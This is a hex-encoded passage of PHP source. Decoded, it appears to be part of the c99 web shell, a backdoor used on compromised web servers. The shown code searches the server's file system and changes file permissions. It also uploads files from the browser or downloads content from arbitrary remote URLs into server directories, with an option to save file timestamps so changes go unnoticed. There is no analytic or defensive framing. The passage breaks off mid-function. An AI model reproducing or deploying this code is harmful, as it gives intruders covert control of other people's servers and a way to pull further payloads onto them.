48 54 54 50 5F 52 45 46 45 52 45 52 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 41 74 74 61 63 68 20 73 65 72 76 65 72 2D 69 6E 66 6F 20 2A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 66 64 62 6B 5F 73 65 72 76 69 6E 66 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 63 68 65 63 6B 65 64 3E 3C 62 72 3E 3C 62 72 3E 54 68 65 72 65 20 61 72 65 20 6E 6F 20 63 68 65 63 6B 69 6E 67 20 69 6E 20 74 68 65 20 66 6F 72 6D 2E 3C 62 72 3E 3C 62 72 3E 2A 20 2D 20 73 74 72 6F 6E 67 6C 79 20 72 65 63 6F 6D 6D 65 6E 64 65 64 2C 20 69 66 20 79 6F 75 20 72 65 70 6F 72 74 20 62 75 67 2C 20 62 65 63 61 75 73 65 20 77 65 20 6E 65 65 64 20 69 74 20 66 6F 72 20 62 75 67 2D 66 69 78 2E 3C 62 72 3E 3C 62 72 3E 57 65 20 75 6E 64 65 72 73 74 61 6E 64 20 6C 61 6E 67 75 61 67 65 73 3A 20 45 6E 67 6C 69 73 68 2C 20 52 75 73 73 69 61 6E 2E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 53 65 6E 64 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 73 65 61 72 63 68 22 29 0A 7B 0A 20 65 63 68 6F 20 22 3C 62 3E 53 65 61 72 63 68 20 69 6E 20 66 69 6C 65 2D 73 79 73 74 65 6D 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 69 66 20 28 65 6D 70 74 79 28 24 73 65 61 72 63 68 5F 69 6E 29 29 20 7B 24 73 65 61 72 63 68 5F 69 6E 20 3D 20 24 64 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 73 65 61 72 63 68 5F 6E 61 6D 65 29 29 20 7B 24 73 65 61 72 63 68 5F 6E 61 6D 65 20 3D 20 22 28 2E 2A 29 22 3B 20 24 73 65 61 72 63 68 5F 6E 61 6D 65 5F 72 65 67 65 78 70 20 3D 20 31 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 73 65 61 72 63 68 5F 74 65 78 74 5F 77 77 6F 29 29 20 7B 24 73 65 61 72 63 68 5F 74 65 78 74 5F 72 65 67 65 78 70 20 3D 20 30 3B 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 24 66 6F 75 6E 64 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 24 66 6F 75 6E 64 5F 64 20 3D 20 30 3B 0A 20 20 24 66 6F 75 6E 64 5F 66 20 3D 20 30 3B 0A 20 20 24 73 65 61 72 63 68 5F 69 5F 66 20 3D 20 30 3B 0A 20 20 24 73 65 61 72 63 68 5F 69 5F 64 20 3D 20 30 3B 0A 20 20 24 61 20 3D 20 61 72 72 61 79 0A 20 20 28 0A 20 20 20 22 6E 61 6D 65 22 3D 3E 24 73 65 61 72 63 68 5F 6E 61 6D 65 2C 20 22 6E 61 6D 65 5F 72 65 67 65 78 70 22 3D 3E 24 73 65 61 72 63 68 5F 6E 61 6D 65 5F 72 65 67 65 78 70 2C 0A 20 20 20 22 74 65 78 74 22 3D 3E 24 73 65 61 72 63 68 5F 74 65 78 74 2C 20 22 74 65 78 74 5F 72 65 67 65 78 70 22 3D 3E 24 73 65 61 72 63 68 5F 74 65 78 74 5F 72 65 67 78 70 2C 0A 20 20 20 22 74 65 78 74 5F 77 77 6F 22 3D 3E 24 73 65 61 72 63 68 5F 74 65 78 74 5F 77 77 6F 2C 0A 20 20 20 22 74 65 78 74 5F 63 73 22 3D 3E 24 73 65 61 72 63 68 5F 74 65 78 74 5F 63 73 2C 0A 20 20 20 22 74 65 78 74 5F 6E 6F 74 22 3D 3E 24 73 65 61 72 63 68 5F 74 65 78 74 5F 6E 6F 74 0A 20 20 29 3B 0A 20 20 24 73 65 61 72 63 68 74 69 6D 65 20 3D 20 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 3B 0A 20 20 24 69 6E 20 3D 20 61 72 72 61 79 5F 75 6E 69 71 75 65 28 65 78 70 6C 6F 64 65 28 22 3B 22 2C 24 73 65 61 72 63 68 5F 69 6E 29 29 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 69 6E 20 61 73 20 24 76 29 20 7B 63 39 39 66 73 65 61 72 63 68 28 24 76 29 3B 7D 0A 20 20 24 73 65 61 72 63 68 74 69 6D 65 20 3D 20 72 6F 75 6E 64 28 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 2D 24 73 65 61 72 63 68 74 69 6D 65 2C 34 29 3B 0A 20 20 69 66 20 28 63 6F 75 6E 74 28 24 66 6F 75 6E 64 29 20 3D 3D 20 30 29 20 7B 65 63 68 6F 20 22 3C 62 3E 4E 6F 20 66 69 6C 65 73 20 66 6F 75 6E 64 21 3C 2F 62 3E 22 3B 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 24 6C 73 5F 61 72 72 20 3D 20 24 66 6F 75 6E 64 3B 0A 20 20 20 24 64 69 73 70 5F 66 75 6C 6C 70 61 74 68 20 3D 20 74 72 75 65 3B 0A 20 20 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 0A 20 20 7D 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 5C 22 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 64 69 73 70 64 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 5C 22 22 2E 24 64 73 70 61 63 74 2E 22 5C 22 3E 0A 3C 62 3E 53 65 61 72 63 68 20 66 6F 72 20 28 66 69 6C 65 2F 66 6F 6C 64 65 72 20 6E 61 6D 65 29 3A 20 3C 2F 62 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 6E 61 6D 65 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 72 6F 75 6E 64 28 73 74 72 6C 65 6E 28 24 73 65 61 72 63 68 5F 6E 61 6D 65 29 2B 32 35 29 2E 22 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 65 61 72 63 68 5F 6E 61 6D 65 29 2E 22 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 6E 61 6D 65 5F 72 65 67 65 78 70 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 22 2E 28 24 73 65 61 72 63 68 5F 6E 61 6D 65 5F 72 65 67 65 78 70 20 3D 3D 20 31 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 20 2D 20 72 65 67 65 78 70 0A 3C 62 72 3E 3C 62 3E 53 65 61 72 63 68 20 69 6E 20 28 65 78 70 6C 6F 64 65 20 5C 22 3B 5C 22 29 3A 20 3C 2F 62 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 69 6E 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 72 6F 75 6E 64 28 73 74 72 6C 65 6E 28 24 73 65 61 72 63 68 5F 69 6E 29 2B 32 35 29 2E 22 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 65 61 72 63 68 5F 69 6E 29 2E 22 5C 22 3E 0A 3C 62 72 3E 3C 62 72 3E 3C 62 3E 54 65 78 74 3A 3C 2F 62 3E 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 74 65 78 74 5C 22 20 63 6F 6C 73 3D 5C 22 31 32 32 5C 22 20 72 6F 77 73 3D 5C 22 31 30 5C 22 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 65 61 72 63 68 5F 74 65 78 74 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 0A 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 74 65 78 74 5F 72 65 67 65 78 70 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 22 2E 28 24 73 65 61 72 63 68 5F 74 65 78 74 5F 72 65 67 65 78 70 20 3D 3D 20 31 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 20 2D 20 72 65 67 65 78 70 0A 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 74 65 78 74 5F 77 77 6F 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 22 2E 28 24 73 65 61 72 63 68 5F 74 65 78 74 5F 77 77 6F 20 3D 3D 20 31 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 20 2D 20 3C 75 3E 77 3C 2F 75 3E 68 6F 6C 65 20 77 6F 72 64 73 20 6F 6E 6C 79 0A 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 74 65 78 74 5F 63 73 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 22 2E 28 24 73 65 61 72 63 68 5F 74 65 78 74 5F 63 73 20 3D 3D 20 31 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 20 2D 20 63 61 73 3C 75 3E 65 3C 2F 75 3E 20 73 65 6E 73 69 74 69 76 65 0A 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 73 65 61 72 63 68 5F 74 65 78 74 5F 6E 6F 74 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 22 2E 28 24 73 65 61 72 63 68 5F 74 65 78 74 5F 6E 6F 74 20 3D 3D 20 31 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 20 2D 20 66 69 6E 64 20 66 69 6C 65 73 20 3C 75 3E 4E 4F 54 3C 2F 75 3E 20 63 6F 6E 74 61 69 6E 69 6E 67 20 74 68 65 20 74 65 78 74 0A 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 53 65 61 72 63 68 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 69 66 20 28 24 61 63 74 20 3D 3D 20 22 6C 73 22 29 20 7B 24 64 73 70 61 63 74 20 3D 20 24 61 63 74 3B 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 62 3E 53 65 61 72 63 68 20 74 6F 6F 6B 20 22 2E 24 73 65 61 72 63 68 74 69 6D 65 2E 22 20 73 65 63 73 20 28 22 2E 24 73 65 61 72 63 68 5F 69 5F 66 2E 22 20 66 69 6C 65 73 20 61 6E 64 20 22 2E 24 73 65 61 72 63 68 5F 69 5F 64 2E 22 20 66 6F 6C 64 65 72 73 2C 20 22 2E 72 6F 75 6E 64 28 28 24 73 65 61 72 63 68 5F 69 5F 66 2B 24 73 65 61 72 63 68 5F 69 5F 64 29 2F 24 73 65 61 72 63 68 74 69 6D 65 2C 34 29 2E 22 20 6F 62 6A 65 63 74 73 20 70 65 72 20 73 65 63 6F 6E 64 29 2E 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 22 3B 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 63 68 6D 6F 64 22 29 0A 7B 0A 20 24 6D 6F 64 65 20 3D 20 66 69 6C 65 70 65 72 6D 73 28 24 64 2E 24 66 29 3B 0A 20 69 66 20 28 21 24 6D 6F 64 65 29 20 7B 65 63 68 6F 20 22 3C 62 3E 43 68 61 6E 67 65 20 66 69 6C 65 2D 6D 6F 64 65 20 77 69 74 68 20 65 72 72 6F 72 3A 3C 2F 62 3E 20 63 61 6E 27 74 20 67 65 74 20 63 75 72 72 65 6E 74 20 76 61 6C 75 65 2E 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 66 6F 72 6D 20 3D 20 74 72 75 65 3B 0A 20 20 69 66 20 28 24 63 68 6D 6F 64 5F 73 75 62 6D 69 74 29 0A 20 20 7B 0A 20 20 20 24 6F 63 74 65 74 20 3D 20 22 30 22 2E 62 61 73 65 5F 63 6F 6E 76 65 72 74 28 28 24 63 68 6D 6F 64 5F 6F 5B 22 72 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 6F 5B 22 77 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 6F 5B 22 78 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 67 5B 22 72 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 67 5B 22 77 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 67 5B 22 78 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 77 5B 22 72 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 77 5B 22 77 22 5D 3F 31 3A 30 29 2E 28 24 63 68 6D 6F 64 5F 77 5B 22 78 22 5D 3F 31 3A 30 29 2C 32 2C 38 29 3B 0A 20 20 20 69 66 20 28 63 68 6D 6F 64 28 24 64 2E 24 66 2C 24 6F 63 74 65 74 29 29 20 7B 24 61 63 74 20 3D 20 22 6C 73 22 3B 20 24 66 6F 72 6D 20 3D 20 66 61 6C 73 65 3B 20 24 65 72 72 20 3D 20 22 22 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 24 65 72 72 20 3D 20 22 43 61 6E 27 74 20 63 68 6D 6F 64 20 74 6F 20 22 2E 24 6F 63 74 65 74 2E 22 2E 22 3B 7D 0A 20 20 7D 0A 20 20 69 66 20 28 24 66 6F 72 6D 29 0A 20 20 7B 0A 20 20 20 24 70 65 72 6D 73 20 3D 20 70 61 72 73 65 5F 70 65 72 6D 73 28 24 6D 6F 64 65 29 3B 0A 20 20 20 65 63 68 6F 20 22 3C 62 3E 43 68 61 6E 67 69 6E 67 20 66 69 6C 65 2D 6D 6F 64 65 20 28 22 2E 24 64 2E 24 66 2E 22 29 2C 20 22 2E 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 64 2E 24 66 29 2E 22 20 28 22 2E 73 75 62 73 74 72 28 64 65 63 6F 63 74 28 66 69 6C 65 70 65 72 6D 73 28 24 64 2E 24 66 29 29 2C 2D 34 2C 34 29 2E 22 29 3C 2F 62 3E 3C 62 72 3E 22 2E 28 24 65 72 72 3F 22 3C 62 3E 45 72 72 6F 72 3A 3C 2F 62 3E 20 22 2E 24 65 72 72 3A 22 22 29 2E 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 64 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 66 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 63 68 6D 6F 64 3E 3C 74 61 62 6C 65 20 61 6C 69 67 6E 3D 6C 65 66 74 20 77 69 64 74 68 3D 33 30 30 20 62 6F 72 64 65 72 3D 30 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 70 61 64 64 69 6E 67 3D 35 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 4F 77 6E 65 72 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 6F 5B 72 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 6F 22 5D 5B 22 72 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 26 6E 62 73 70 3B 52 65 61 64 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 6E 61 6D 65 3D 63 68 6D 6F 64 5F 6F 5B 77 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 6F 22 5D 5B 22 77 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 26 6E 62 73 70 3B 57 72 69 74 65 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 6F 5B 78 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 6F 22 5D 5B 22 78 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 65 58 65 63 75 74 65 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 47 72 6F 75 70 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 67 5B 72 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 67 22 5D 5B 22 72 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 26 6E 62 73 70 3B 52 65 61 64 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 67 5B 77 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 67 22 5D 5B 22 77 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 26 6E 62 73 70 3B 57 72 69 74 65 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 67 5B 78 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 67 22 5D 5B 22 78 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 65 58 65 63 75 74 65 3C 2F 66 6F 6E 74 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 57 6F 72 6C 64 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 77 5B 72 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 77 22 5D 5B 22 72 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 26 6E 62 73 70 3B 52 65 61 64 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 77 5B 77 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 77 22 5D 5B 22 77 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 26 6E 62 73 70 3B 57 72 69 74 65 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 4E 41 4D 45 3D 63 68 6D 6F 64 5F 77 5B 78 5D 20 76 61 6C 75 65 3D 31 22 2E 28 24 70 65 72 6D 73 5B 22 77 22 5D 5B 22 78 22 5D 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 3E 65 58 65 63 75 74 65 3C 2F 66 6F 6E 74 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 63 68 6D 6F 64 5F 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 53 61 76 65 5C 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 7D 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 75 70 6C 6F 61 64 22 29 0A 7B 0A 20 24 75 70 6C 6F 61 64 6D 65 73 73 20 3D 20 22 22 3B 0A 20 24 75 70 6C 6F 61 64 70 61 74 68 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 75 70 6C 6F 61 64 70 61 74 68 29 3B 0A 20 69 66 20 28 65 6D 70 74 79 28 24 75 70 6C 6F 61 64 70 61 74 68 29 29 20 7B 24 75 70 6C 6F 61 64 70 61 74 68 20 3D 20 24 64 3B 7D 0A 20 65 6C 73 65 69 66 20 28 73 75 62 73 74 72 28 24 75 70 6C 6F 61 64 70 61 74 68 2C 2D 31 29 20 21 3D 20 22 2F 22 29 20 7B 24 75 70 6C 6F 61 64 70 61 74 68 20 2E 3D 20 22 2F 22 3B 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 67 6C 6F 62 61 6C 20 24 48 54 54 50 5F 50 4F 53 54 5F 46 49 4C 45 53 3B 0A 20 20 24 75 70 6C 6F 61 64 66 69 6C 65 20 3D 20 24 48 54 54 50 5F 50 4F 53 54 5F 46 49 4C 45 53 5B 22 75 70 6C 6F 61 64 66 69 6C 65 22 5D 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 75 70 6C 6F 61 64 66 69 6C 65 5B 22 74 6D 70 5F 6E 61 6D 65 22 5D 29 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 75 70 6C 6F 61 64 66 69 6C 65 6E 61 6D 65 29 29 20 7B 24 64 65 73 74 69 6E 20 3D 20 24 75 70 6C 6F 61 64 66 69 6C 65 5B 22 6E 61 6D 65 22 5D 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 24 64 65 73 74 69 6E 20 3D 20 24 75 73 65 72 66 69 6C 65 6E 61 6D 65 3B 7D 0A 20 20 20 69 66 20 28 21 6D 6F 76 65 5F 75 70 6C 6F 61 64 65 64 5F 66 69 6C 65 28 24 75 70 6C 6F 61 64 66 69 6C 65 5B 22 74 6D 70 5F 6E 61 6D 65 22 5D 2C 24 75 70 6C 6F 61 64 70 61 74 68 2E 24 64 65 73 74 69 6E 29 29 20 7B 24 75 70 6C 6F 61 64 6D 65 73 73 20 2E 3D 20 22 45 72 72 6F 72 20 75 70 6C 6F 61 64 69 6E 67 20 66 69 6C 65 20 22 2E 24 75 70 6C 6F 61 64 66 69 6C 65 5B 22 6E 61 6D 65 22 5D 2E 22 20 28 63 61 6E 27 74 20 63 6F 70 79 20 5C 22 22 2E 24 75 70 6C 6F 61 64 66 69 6C 65 5B 22 74 6D 70 5F 6E 61 6D 65 22 5D 2E 22 5C 22 20 74 6F 20 5C 22 22 2E 24 75 70 6C 6F 61 64 70 61 74 68 2E 24 64 65 73 74 69 6E 2E 22 5C 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 21 65 6D 70 74 79 28 24 75 70 6C 6F 61 64 75 72 6C 29 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 75 70 6C 6F 61 64 66 69 6C 65 6E 61 6D 65 29 29 20 7B 24 64 65 73 74 69 6E 20 3D 20 24 75 70 6C 6F 61 64 66 69 6C 65 6E 61 6D 65 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 24 64 65 73 74 69 6E 20 3D 20 65 78 70 6C 6F 64 65 28 22 2F 22 2C 24 64 65 73 74 69 6E 29 3B 0A 20 20 20 20 24 64 65 73 74 69 6E 20 3D 20 24 64 65 73 74 69 6E 5B 63 6F 75 6E 74 28 24 64 65 73 74 69 6E 29 2D 31 5D 3B 0A 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 64 65 73 74 69 6E 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 69 20 3D 20 30 3B 0A 20 20 20 20 20 24 62 20 3D 20 22 22 3B 0A 20 20 20 20 20 77 68 69 6C 65 28 66 69 6C 65 5F 65 78 69 73 74 73 28 24 75 70 6C 6F 61 64 70 61 74 68 2E 24 64 65 73 74 69 6E 29 29 20 7B 69 66 20 28 24 69 20 3E 20 30 29 20 7B 24 62 20 3D 20 22 5F 22 2E 24 69 3B 7D 20 24 64 65 73 74 69 6E 20 3D 20 22 69 6E 64 65 78 22 2E 24 62 2E 22 2E 68 74 6D 6C 22 3B 20 24 69 2B 2B 3B 7D 7D 0A 20 20 20 7D 0A 20 20 20 69 66 20 28 28 21 65 72 65 67 69 28 22 68 74 74 70 3A 2F 2F 22 2C 24 75 70 6C 6F 61 64 75 72 6C 29 29 20 61 6E 64 20 28 21 65 72 65 67 69 28 22 68 74 74 70 73 3A 2F 2F 22 2C 24 75 70 6C 6F 61 64 75 72 6C 29 29 20 61 6E 64 20 28 21 65 72 65 67 69 28 22 66 74 70 3A 2F 2F 22 2C 24 75 70 6C 6F 61 64 75 72 6C 29 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 49 6E 63 6F 72 65 63 74 20 75 72 6C 21 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 24 73 74 20 3D 20 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 3B 0A 20 20 20 20 24 63 6F 6E 74 65 6E 74 20 3D 20 40 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 75 70 6C 6F 61 64 75 72 6C 29 3B 0A 20 20 20 20 24 64 74 20 3D 20 72 6F 75 6E 64 28 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 2D 24 73 74 2C 34 29 3B 0A 20 20 20 20 69 66 20 28 21 24 63 6F 6E 74 65 6E 74 29 20 7B 24 75 70 6C 6F 61 64 6D 65 73 73 20 2E 3D 20 20 22 43 61 6E 27 74 20 64 6F 77 6E 6C 6F 61 64 20 66 69 6C 65 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 65 6C 73 65 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 24 66 69 6C 65 73 74 65 61 6C 74 68 29 20 7B 24 73 74 61 74 20 3D 20 73 74 61 74 28 24 75 70 6C 6F 61 64 70 61 74 68 2E 24 64 65 73 74 69 6E 29 3B 7D 0A 20 20 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 75 70 6C 6F 61 64 70 61 74 68 2E 24 64 65 73 74 69 6E 2C 22 77 22 29 3B 0A 20 20 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 24 75 70 6C 6F 61 64 6D 65 73 73 20 2E 3D 20 22 45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 74 6F 20 66 69 6C 65 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 65 73 74 69 6E 29 2E 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 66 77 72 69 74 65 28 24 66 70 2C 24 63 6F 6E 74 65 6E 74 